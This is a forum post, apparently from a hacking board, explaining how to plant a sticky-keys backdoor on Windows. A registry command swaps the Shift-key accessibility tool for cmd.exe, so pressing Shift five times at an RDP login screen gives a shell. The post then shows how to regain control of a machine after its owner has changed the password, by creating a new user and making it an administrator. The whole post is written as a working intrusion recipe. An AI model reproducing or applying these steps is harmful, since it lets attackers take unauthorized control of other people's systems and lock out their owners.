Thread: [How to make backdoor using CMD simple codes](#)

**vasku** - April 19, 2020, 7:04 pm

Code REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG\_SZ /d "C:\windows\system32\cmd.exe"  
open the cmd and write this down on it nigigiggi

then if u see

Code The operation completed successfully  
it means u are pregnant

if u got some error open the cmd as admin

now how to use this

for example, we used this on RDP  
now the owner changed the password

so we connect to ip address and try to run the cmd that we've already set  
how to run cmd while we are in user pass login page

try : 5 times tap on the shift ,Alt+Shift+PrintScreen or Alt+Shift+PrtScSysRq and ....  
idk just search in the internet to find out more  
but it will just pop out after hitting that  
now we good we can use cmd to do some dog stuff

Code lusrmgr : it opens the local user and groups  
net user user2 pw/add: create a user  
net localgroup administrators user2 /add: giving the administrator prem to the user u created by adding it to its local group  
taskmgr: you can open the task manager then right-click on the current user and change the password  
dsa.msc : active directory will get open

Code Delete the backdoor : REG DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"
